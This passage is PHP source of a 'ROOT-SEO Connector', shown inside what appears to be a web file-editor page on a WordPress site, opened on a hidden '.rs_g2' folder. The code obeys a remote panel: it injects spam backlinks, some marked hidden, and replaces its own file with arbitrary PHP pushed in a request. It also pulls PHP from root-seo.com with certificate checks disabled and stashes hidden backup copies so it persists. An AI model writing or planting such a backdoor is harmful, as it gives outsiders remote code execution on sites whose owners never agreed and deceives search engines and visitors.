            if (is_array($decoded)) $reqRenderTypes = $decoded;
            else $reqRenderTypes = array_filter(array_map(&#039;trim&#039;, explode(&#039;,&#039;, $reqRenderTypes)));
        }
        $effectiveRenderTypes = is_array($reqRenderTypes) &amp;&amp; !empty($reqRenderTypes)
            ? filter_render_types($reqRenderTypes)
            : $config[&#039;render_types&#039;];
        $row = [
            &#039;id&#039; =&gt; $linkId,
            &#039;kind&#039; =&gt; normalize_kind($req[&#039;kind&#039;] ?? &#039;footer&#039;),
            &#039;url&#039; =&gt; $url,
            &#039;anchor&#039; =&gt; $anchor,
            &#039;rel&#039; =&gt; $rel,
            &#039;expires_at&#039; =&gt; $expiresAt,
            &#039;created&#039; =&gt; isset($existingLinks[$linkId][&#039;created&#039;]) ? intval($existingLinks[$linkId][&#039;created&#039;]) : time(),
            &#039;updated_at&#039; =&gt; time(),
            &#039;render_profile&#039; =&gt; $config[&#039;render_profile&#039;],
            &#039;render_types&#039; =&gt; $effectiveRenderTypes,
            &#039;seo_hidden&#039; =&gt; !empty($req[&#039;seo_hidden&#039;]) || !empty($req[&#039;hidden_link&#039;]),
        ];
        $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config[&#039;placement&#039;]);
        save_links($existingLinks);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, [
                &#039;link_id&#039; =&gt; $linkId,
                &#039;injected&#039; =&gt; false,
                &#039;placement_report&#039; =&gt; placement_report_payload(),
            ], &#039;placement_install_failed&#039;, 500);
        }
        $finalLinks = load_links();
        $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
        $cachePurge = rootseo_purge_caches(true);
        respond(true, [
            &#039;link_id&#039; =&gt; $linkId,
            &#039;injected&#039; =&gt; true,
            &#039;render_types&#039; =&gt; $finalRow[&#039;render_types&#039;],
            &#039;placement_strategy&#039; =&gt; $newConfig[&#039;placement&#039;][&#039;strategy&#039;],
            &#039;placement_target&#039; =&gt; $newConfig[&#039;placement&#039;][&#039;target&#039;],
            &#039;placement_report&#039; =&gt; placement_report_payload(),
            &#039;cache_purge&#039; =&gt; $cachePurge,
        ], &#039;link_added&#039;);
        break;

    case &#039;remove_link&#039;:
        $linkId = validate_link_id($req[&#039;link_id&#039;] ?? &#039;&#039;);
        if ($linkId === &#039;&#039;) respond(false, [], &#039;invalid_link_id&#039;, 400);
        $links = load_links();
        if (isset($links[$linkId])) {
            unset($links[$linkId]);
            if (!save_links($links)) respond(false, [], &#039;links_write_failed&#039;, 500);
            refresh_current_placement(load_config());
            $cachePurge = rootseo_purge_caches(true);
        } else {
            $cachePurge = [&#039;skipped&#039; =&gt; true];
        }
        respond(true, [&#039;removed&#039; =&gt; true, &#039;placement_report&#039; =&gt; placement_report_payload(), &#039;cache_purge&#039; =&gt; $cachePurge], &#039;link_removed&#039;);
        break;

    case &#039;sync_links&#039;:
        $incoming = $req[&#039;links&#039;] ?? [];
        if (is_string($incoming)) {
            $decoded = json_decode($incoming, true);
            if (is_array($decoded)) $incoming = $decoded;
        }
        if (!is_array($incoming)) respond(false, [], &#039;links_array_required&#039;, 400);
        if (count($incoming) &gt; MAX_LINKS_PER_SYNC) respond(false, [], &#039;too_many_links&#039;, 400);
        $config = load_config();
        $current = load_links();
        $backup = $current;
        $final = [];
        $added = 0;
        $removed = 0;
        $unchanged = 0;
        foreach ($incoming as $row) {
            if (!is_array($row)) continue;
            $url = validate_url_value($row[&#039;url&#039;] ?? &#039;&#039;);
            $anchor = validate_anchor_text($row[&#039;anchor&#039;] ?? &#039;&#039;);
            if ($url === &#039;&#039; || $anchor === &#039;&#039;) continue;
            $rel = normalize_rel($row[&#039;rel&#039;] ?? &#039;dofollow&#039;);
            $id = validate_link_id($row[&#039;id&#039;] ?? &#039;&#039;);
            if ($id === &#039;&#039;) $id = build_deterministic_link_id($url, $anchor, $rel);
            $normalized = normalize_link_row($id, [
                &#039;id&#039; =&gt; $id,
                &#039;kind&#039; =&gt; normalize_kind($row[&#039;kind&#039;] ?? &#039;footer&#039;),
                &#039;url&#039; =&gt; $url,
                &#039;anchor&#039; =&gt; $anchor,
                &#039;rel&#039; =&gt; $rel,
                &#039;expires_at&#039; =&gt; isset($row[&#039;expires_at&#039;]) ? intval($row[&#039;expires_at&#039;]) : null,
                &#039;created&#039; =&gt; isset($current[$id][&#039;created&#039;]) ? intval($current[$id][&#039;created&#039;]) : time(),
                &#039;updated_at&#039; =&gt; time(),
                &#039;render_profile&#039; =&gt; $config[&#039;render_profile&#039;],
                &#039;render_types&#039; =&gt; $row[&#039;render_types&#039;] ?? $config[&#039;render_types&#039;],
                &#039;seo_hidden&#039; =&gt; !empty($row[&#039;seo_hidden&#039;]) || !empty($row[&#039;hidden_link&#039;]),
            ], $config);
            $normalized = apply_placement_snapshot_to_link($normalized, $config[&#039;placement&#039;]);
            if (!isset($current[$id])) {
                $added++;
            } else {
                $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                if ($before === $after) $unchanged++;
            }
            $final[$id] = $normalized;
        }
        foreach ($current as $id =&gt; $row) {
            if (!isset($final[$id])) $removed++;
        }
        save_links($final);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, [&#039;placement_report&#039; =&gt; placement_report_payload()], &#039;placement_install_failed&#039;, 500);
        }
        $cachePurge = rootseo_purge_caches(true);
        respond(true, [
            &#039;total&#039; =&gt; count($final),
            &#039;added&#039; =&gt; $added,
            &#039;removed&#039; =&gt; $removed,
            &#039;unchanged&#039; =&gt; $unchanged,
            &#039;placement_strategy&#039; =&gt; $newConfig[&#039;placement&#039;][&#039;strategy&#039;],
            &#039;placement_target&#039; =&gt; $newConfig[&#039;placement&#039;][&#039;target&#039;],
            &#039;placement_report&#039; =&gt; placement_report_payload(),
            &#039;cache_purge&#039; =&gt; $cachePurge,
        ], &#039;synced&#039;);
        break;

    case &#039;clear_links&#039;:
        if (!save_links([])) respond(false, [], &#039;links_write_failed&#039;, 500);
        refresh_current_placement(load_config());
        $cachePurge = rootseo_purge_caches(true);
        respond(true, [&#039;cleared&#039; =&gt; true, &#039;placement_report&#039; =&gt; placement_report_payload(), &#039;cache_purge&#039; =&gt; $cachePurge], &#039;links_cleared&#039;);
        break;

    case &#039;clear_expired&#039;:
        list($activeAfter, $expiredRemoved) = clear_expired_links();
        respond(true, [
            &#039;cleared&#039; =&gt; count($expiredRemoved),
            &#039;remaining&#039; =&gt; count($activeAfter),
            &#039;placement_report&#039; =&gt; placement_report_payload(),
        ], &#039;expired_links_cleared&#039;);
        break;

    case &#039;verify_links&#039;:
        respond(true, verify_links_action(), &#039;verified&#039;);
        break;

    case &#039;placement_report&#039;:
        respond(true, placement_report_payload(), &#039;placement_report&#039;);
        break;

    case &#039;self_reconcile&#039;:
        respond(true, self_reconcile_action(), &#039;reconciled&#039;);
        break;

    case &#039;get_config&#039;:
        $cfg = load_config();
        respond(true, [
            &#039;output_mode&#039; =&gt; $cfg[&#039;output_mode&#039;],
            &#039;render_profile&#039; =&gt; $cfg[&#039;render_profile&#039;],
            &#039;render_types&#039; =&gt; $cfg[&#039;render_types&#039;],
            &#039;link_rel_strategy&#039; =&gt; $cfg[&#039;link_rel_strategy&#039;],
            &#039;placement&#039; =&gt; $cfg[&#039;placement&#039;],
        ], &#039;config&#039;);
        break;

    case &#039;set_config&#039;:
        // Panel can change output_mode, render_types, render_profile, link_rel_strategy.
        // Placement state is NOT changed via this endpoint (use add_link / verify_links).
        $cfg = load_config();
        // v5.4: hidden/cloaked rendering removed — only &#039;visible&#039; is accepted.
        $allowedOutputModes = [&#039;visible&#039;];
        $allowedRelStrategies = [&#039;preserve&#039;, &#039;force_sponsored&#039;, &#039;force_nofollow&#039;];
        if (isset($req[&#039;output_mode&#039;])) {
            $om = strtolower(trim((string)$req[&#039;output_mode&#039;]));
            if (!in_array($om, $allowedOutputModes, true)) respond(false, [], &#039;invalid_output_mode&#039;, 400);
            $cfg[&#039;output_mode&#039;] = $om;
        }
        if (isset($req[&#039;footer_link_cap&#039;])) {
            // v5.5: 0 or negative = unlimited
            $cfg[&#039;footer_link_cap&#039;] = max(0, intval($req[&#039;footer_link_cap&#039;]));
        }
        if (isset($req[&#039;contextual_max_ttl&#039;])) {
            $cfg[&#039;contextual_max_ttl&#039;] = effective_contextual_ttl([&#039;contextual_max_ttl&#039; =&gt; intval($req[&#039;contextual_max_ttl&#039;])]);
        }
        if (isset($req[&#039;render_profile&#039;])) {
            $cfg[&#039;render_profile&#039;] = trim((string)$req[&#039;render_profile&#039;]) ?: $cfg[&#039;render_profile&#039;];
        }
        if (isset($req[&#039;render_types&#039;])) {
            $rt = $req[&#039;render_types&#039;];
            if (is_string($rt)) {
                $decoded = json_decode($rt, true);
                $rt = is_array($decoded) ? $decoded : array_filter(array_map(&#039;trim&#039;, explode(&#039;,&#039;, $rt)));
            }
            if (!is_array($rt) || empty($rt)) respond(false, [], &#039;invalid_render_types&#039;, 400);
            $cfg[&#039;render_types&#039;] = filter_render_types($rt);
        }
        if (isset($req[&#039;link_rel_strategy&#039;])) {
            $rs = strtolower(trim((string)$req[&#039;link_rel_strategy&#039;]));
            if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], &#039;invalid_rel_strategy&#039;, 400);
            $cfg[&#039;link_rel_strategy&#039;] = $rs;
        }
        if (!save_config($cfg)) respond(false, [], &#039;config_write_failed&#039;, 500);
        respond(true, [
            &#039;output_mode&#039; =&gt; $cfg[&#039;output_mode&#039;],
            &#039;render_profile&#039; =&gt; $cfg[&#039;render_profile&#039;],
            &#039;render_types&#039; =&gt; $cfg[&#039;render_types&#039;],
            &#039;link_rel_strategy&#039; =&gt; $cfg[&#039;link_rel_strategy&#039;],
        ], &#039;config_updated&#039;);
        break;

    case &#039;reinstall_placement&#039;:
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(true);
        $cachePurge = rootseo_purge_caches(true);
        respond($ok, [
            &#039;placement_ok&#039; =&gt; $ok,
            &#039;placement&#039; =&gt; $newConfig[&#039;placement&#039;] ?? null,
            &#039;meta&#039; =&gt; $placementMeta,
            &#039;placement_report&#039; =&gt; placement_report_payload(),
            &#039;version&#039; =&gt; CONNECTOR_VERSION,
            &#039;cache_purge&#039; =&gt; $cachePurge,
        ], $ok ? &#039;placement_reinstalled&#039; : &#039;placement_reinstall_failed&#039;, $ok ? 200 : 500);
        break;

    case &#039;purge_cache&#039;:
        respond(true, [
            &#039;cache_purge&#039; =&gt; rootseo_purge_caches(true),
            &#039;version&#039; =&gt; CONNECTOR_VERSION,
        ], &#039;cache_purged&#039;);
        break;

    case &#039;push_update&#039;:
        // Panel pushes fresh PHP source directly (no outbound fetch from donor).
        $newSource = &#039;&#039;;
        if (isset($req[&#039;source&#039;]) &amp;&amp; is_string($req[&#039;source&#039;]) &amp;&amp; $req[&#039;source&#039;] !== &#039;&#039;) {
            $newSource = $req[&#039;source&#039;];
        } elseif (isset($req[&#039;source_b64&#039;]) &amp;&amp; is_string($req[&#039;source_b64&#039;]) &amp;&amp; $req[&#039;source_b64&#039;] !== &#039;&#039;) {
            $decoded = base64_decode($req[&#039;source_b64&#039;], true);
            if ($decoded !== false) $newSource = $decoded;
        } else {
            $raw = get_raw_body();
            if ($raw !== &#039;&#039; &amp;&amp; strpos($raw, &#039;&lt;?php&#039;) !== false) $newSource = $raw;
        }
        if ($newSource === &#039;&#039; || strpos($newSource, &#039;&lt;?php&#039;) === false || strpos($newSource, &#039;ROOT-SEO Connector&#039;) === false) {
            respond(false, [], &#039;invalid_source&#039;, 400);
        }
        $self = __FILE__;
        $backup = $self . &#039;.bak.v&#039; . CONNECTOR_VERSION . &#039;.&#039; . time();
        // Yerel dizine yazılamıyorsa /tmp yedeği yeterli — update yine de ilerlesin.
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . &#039;/rootseo_bak_v&#039; . CONNECTOR_VERSION . &#039;_&#039; . time() . &#039;.php&#039;;
            if (!@copy($self, $backup)) {
                $backup = &#039;&#039;;
            }
        }
        $tmp = $self . &#039;.tmp.&#039; . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], &#039;tmp_write_failed&#039;, 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], &#039;rename_failed&#039;, 500);
        }
        $opcacheCleared = false;
        if (function_exists(&#039;opcache_invalidate&#039;)) $opcacheCleared = @opcache_invalidate($self, true);
        if (!$opcacheCleared &amp;&amp; function_exists(&#039;opcache_reset&#039;)) $opcacheCleared = (bool)@opcache_reset();
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . &#039;/.rs_connector.php.bak&#039;, $newSource);
            @file_put_contents($dir . &#039;/.rs_stamp.json&#039;, json_encode([&#039;version&#039; =&gt; (preg_match(&quot;/define\\(&#039;CONNECTOR_VERSION&#039;,\\s*&#039;([^&#039;]+)&#039;/&quot;, $newSource, $vm) ? $vm[1] : CONNECTOR_VERSION), &#039;hash&#039; =&gt; hash(&#039;sha256&#039;, $newSource), &#039;at&#039; =&gt; time()]));
        }
        try {
            $cfg = load_config();
            $cfg[&#039;footer_link_cap&#039;] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            &#039;old_version&#039; =&gt; CONNECTOR_VERSION,
            &#039;fetched_bytes&#039; =&gt; strlen($newSource),
            &#039;backup_path&#039; =&gt; $backup,
            &#039;opcache_cleared&#039; =&gt; $opcacheCleared,
            &#039;mode&#039; =&gt; &#039;push_update&#039;,
            &#039;next&#039; =&gt; &#039;call_reinstall_placement&#039;,
        ], &#039;pushed_update&#039;);
        break;

    case &#039;self_update&#039;:
        // Pull fresh PHP from panel and atomically replace this file.
        // Requires PANEL_API_URL to be a real value (placeholder safety).
        $apiUrl = trim((string)PANEL_API_URL);
        $expectedVersion = isset($req[&#039;expected_version&#039;]) ? trim((string)$req[&#039;expected_version&#039;]) : &#039;&#039;;
        $headers = [
            &#039;X-RS-Panel-Token: &#039; . PANEL_TOKEN,
            &#039;Accept: application/x-php&#039;,
            &#039;User-Agent: rootseo-connector/&#039; . CONNECTOR_VERSION,
        ];
        $candidates = [];
        if ($apiUrl !== &#039;&#039; &amp;&amp; strpos($apiUrl, &#039;{{&#039;) === false) {
            $candidates[] = rtrim($apiUrl, &#039;/&#039;) . &#039;/connector/v5/source&#039;;
        }
        // Hardcoded public fallback — survives bad 127.0.0.1 bake from old panel builds.
        $candidates[] = &#039;https://root-seo.com/api/connector/v5/source&#039;;
        $candidates = array_values(array_unique($candidates));

        $newSource = &#039;&#039;;
        $httpStatus = 0;
        $usedUrl = &#039;&#039;;
        foreach ($candidates as $sourceUrl) {
            $newSource = &#039;&#039;;
            $httpStatus = 0;
            $usedUrl = $sourceUrl;
            if (function_exists(&#039;curl_init&#039;)) {
                $ch = curl_init($sourceUrl);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER =&gt; true,
                    CURLOPT_FOLLOWLOCATION =&gt; true,
                    CURLOPT_TIMEOUT =&gt; 25,
                    CURLOPT_CONNECTTIMEOUT =&gt; 10,
                    CURLOPT_HTTPHEADER =&gt; $headers,
                    CURLOPT_SSL_VERIFYPEER =&gt; false,
                ]);
                $newSource = (string)curl_exec($ch);
                $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
            } else {
                $ctx = stream_context_create([
                    &#039;http&#039; =&gt; [
                        &#039;method&#039; =&gt; &#039;GET&#039;,
                        &#039;header&#039; =&gt; implode(&quot;\r\n&quot;, $headers),
                        &#039;timeout&#039; =&gt; 25,
                    ],
                    &#039;ssl&#039; =&gt; [&#039;verify_peer&#039; =&gt; false, &#039;verify_peer_name&#039; =&gt; false],
                ]);
                $newSource = (string)@file_get_contents($sourceUrl, false, $ctx);
                $httpStatus = ($newSource !== &#039;&#039;) ? 200 : 0;
            }
            if ($httpStatus === 200 &amp;&amp; $newSource !== &#039;&#039; &amp;&amp; strpos($newSource, &#039;&lt;?php&#039;) !== false) {
                break;
            }
        }
        if ($httpStatus !== 200 || $newSource === &#039;&#039; || strpos($newSource, &#039;&lt;?php&#039;) === false) {
            respond(false, [&#039;http_status&#039; =&gt; $httpStatus, &#039;tried&#039; =&gt; $candidates], &#039;source_fetch_failed&#039;, 502);
        }
        if (strpos($newSource, &quot;ROOT-SEO Connector&quot;) === false) {
            respond(false, [], &#039;source_signature_mismatch&#039;, 502);
        }
        // Backup current file then atomic replace.
        $self = __FILE__;
        $backup = $self . &#039;.bak.v&#039; . CONNECTOR_VERSION . &#039;.&#039; . time();
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . &#039;/rootseo_bak_v&#039; . CONNECTOR_VERSION . &#039;_&#039; . time() . &#039;.php&#039;;
            if (!@copy($self, $backup)) {
                $backup = &#039;&#039;;
            }
        }
        $tmp = $self . &#039;.tmp.&#039; . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], &#039;tmp_write_failed&#039;, 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], &#039;rename_failed&#039;, 500);
        }
        $opcacheCleared = false;
        if (function_exists(&#039;opcache_invalidate&#039;)) {
            $opcacheCleared = @opcache_invalidate($self, true);
        }
        if (!$opcacheCleared &amp;&amp; function_exists(&#039;opcache_reset&#039;)) {
            $opcacheCleared = (bool)@opcache_reset();
        }
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . &#039;/.rs_connector.php.bak&#039;, $newSource);
            @file_put_contents($dir . &#039;/.rs_stamp.json&#039;, json_encode([&#039;version&#039; =&gt; CONNECTOR_VERSION, &#039;hash&#039; =&gt; hash(&#039;sha256&#039;, $newSource), &#039;at&#039; =&gt; time()]));
        }
        try {
            $cfg = load_config();
            $cfg[&#039;footer_link_cap&#039;] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            &#039;old_version&#039; =&gt; CONNECTOR_VERSION,
            &#039;fetched_bytes&#039; =&gt; strlen($newSource),
            &#039;backup_path&#039; =&gt; $backup,
            &#039;opcache_cleared&#039; =&gt; $opcacheCleared,
            &#039;guardian_synced&#039; =&gt; true,
            &#039;source_url&#039; =&gt; $usedUrl,
            &#039;requested_version&#039; =&gt; $expectedVersion ?: null,
            &#039;next&#039; =&gt; &#039;call_reinstall_placement&#039;,
        ], &#039;self_updated&#039;);
        break;

    case &#039;output&#039;:
        header(&#039;Content-Type: text/html; charset=UTF-8&#039;);
        echo rootseo_render_links_html();
        exit;

    default:
        respond(false, [], &#039;unknown_action&#039;, 404);
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2Fhtdocs%2Fwordpress%2F.rs_g2'>🔙 Back</a></p>